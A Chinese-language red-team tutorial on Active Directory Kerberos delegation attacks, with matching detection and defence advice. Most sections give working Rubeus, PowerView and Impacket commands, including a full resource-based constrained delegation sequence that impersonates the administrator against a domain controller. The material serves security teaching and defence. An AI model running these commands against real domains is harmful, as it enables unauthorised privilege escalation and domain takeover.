红队域渗透技术:委派攻击汇总(全)
字数 1232 2025-08-06 23:10:24
红队域渗透技术:委派攻击汇总
1. 委派基础概念
委派(Delegation)是Active Directory中的一项功能,允许服务代表用户访问其他服务资源。委派分为三种类型:
- 非约束委派(Unconstrained Delegation)
- 约束委派(Constrained Delegation)
- 基于资源的约束委派(Resource-based Constrained Delegation)
2. 非约束委派攻击
2.1 原理
非约束委派允许服务获取用户的TGT票据,然后可以模拟该用户访问网络中的任何服务。
2.2 攻击流程
-
发现非约束委派账户:
# 使用PowerView Get-NetUser -Unconstrained -Domain test.local Get-NetComputer -Unconstrained -Domain test.local # 使用ADModule Get-ADComputer -Filter {TrustedForDelegation -eq $true} Get-ADUser -Filter {TrustedForDelegation -eq $true} -
利用非约束委派:
- 诱使域管理员访问配置了非约束委派的服务
- 使用Rubeus监控内存中的TGT票据:
Rubeus.exe monitor /interval:5 /filteruser:DC$ - 或者直接请求TGS票据:
Rubeus.exe asktgs /ticket:<base64_TGT> /service:ldap/dc.test.local /ptt
2.3 防御措施
- 禁用不必要的非约束委派
- 使用约束委派或基于资源的约束委派替代
3. 约束委派攻击
3.1 原理
约束委派限制服务只能代表用户访问特定的服务,需要配置msDS-AllowedToDelegateTo属性。
3.2 攻击流程
-
发现约束委派账户:
# 使用PowerView Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth # 使用ADModule Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -
利用约束委派:
- 使用Rubeus通过S4U2Self和S4U2Proxy协议获取票据:
注意:这里应该是CIFS服务而非LDAP服务Rubeus.exe s4u /user:websvc /rc4:<NTLM_hash> /impersonateuser:administrator /msdsspn:cifs/dc.test.local /ptt
- 使用Rubeus通过S4U2Self和S4U2Proxy协议获取票据:
-
利用机器账户Hash进行攻击:
- 如果拥有机器账户的Hash,可以代表任何用户请求针对配置服务的票据
3.3 防御措施
- 限制约束委派配置
- 监控异常票据请求
- 使用基于资源的约束委派替代
4. 基于资源的约束委派攻击
4.1 原理
基于资源的约束委派(RBCD)允许资源所有者控制哪些账户可以委派给它。
4.2 攻击流程
-
前提条件:
- 对目标对象有WriteProperty权限
- 拥有一个可控账户的密码或Hash
-
攻击步骤:
# 1. 创建一个新的机器账户 Import-Module PowerView $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-MachineAccount -MachineAccount attacker -Password $pass -Domain test.local -DomainController dc.test.local # 2. 获取机器账户的SID $computer = Get-DomainComputer attacker -Properties objectsid $sid = $computer.objectsid # 3. 配置目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性 $target = "dc.test.local" $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)" $SDbytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDbytes, 0) Get-DomainComputer $target | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes} # 4. 使用Rubeus获取票据 Rubeus.exe s4u /user:attacker$ /rc4:<NTLM_hash_of_attacker$> /impersonateuser:administrator /msdsspn:cifs/dc.test.local /ptt
4.3 防御措施
- 严格控制对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改权限
- 监控新机器账户的创建
- 定期审计委派配置
5. 工具使用
5.1 Rubeus常用命令
# 非约束委派监控
Rubeus.exe monitor /interval:5 /filteruser:DC$
# 约束委派利用
Rubeus.exe s4u /user:websvc /rc4:<NTLM_hash> /impersonateuser:administrator /msdsspn:cifs/dc.test.local /ptt
# 票据传递
Rubeus.exe ptt /ticket:<base64_ticket>
5.2 Impacket工具集
# 约束委派利用
getST.py -dc-ip 192.168.1.1 -spn cifs/dc.test.local -impersonate administrator test.local/websvc:password123
6. 检测与防御
6.1 检测方法
-
监控异常票据请求:
- 异常的S4U2Self请求
- 高权限账户的票据请求
-
监控账户修改:
- 对msDS-AllowedToDelegateTo和msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改
-
监控新机器账户创建
6.2 防御建议
-
最小权限原则:
- 仅配置必要的委派
- 使用基于资源的约束委派替代传统委派
-
定期审计:
- 审计所有委派配置
- 审计高权限账户的委派
-
启用高级安全监控:
- 启用Kerberos服务票据请求日志
- 监控异常认证活动
7. 总结
委派攻击是域渗透中的重要技术,攻击者可以利用配置不当的委派权限提升权限或横向移动。理解不同类型的委派及其攻击方法对于红队和蓝队都至关重要。防御的关键在于最小权限原则、定期审计和高级监控。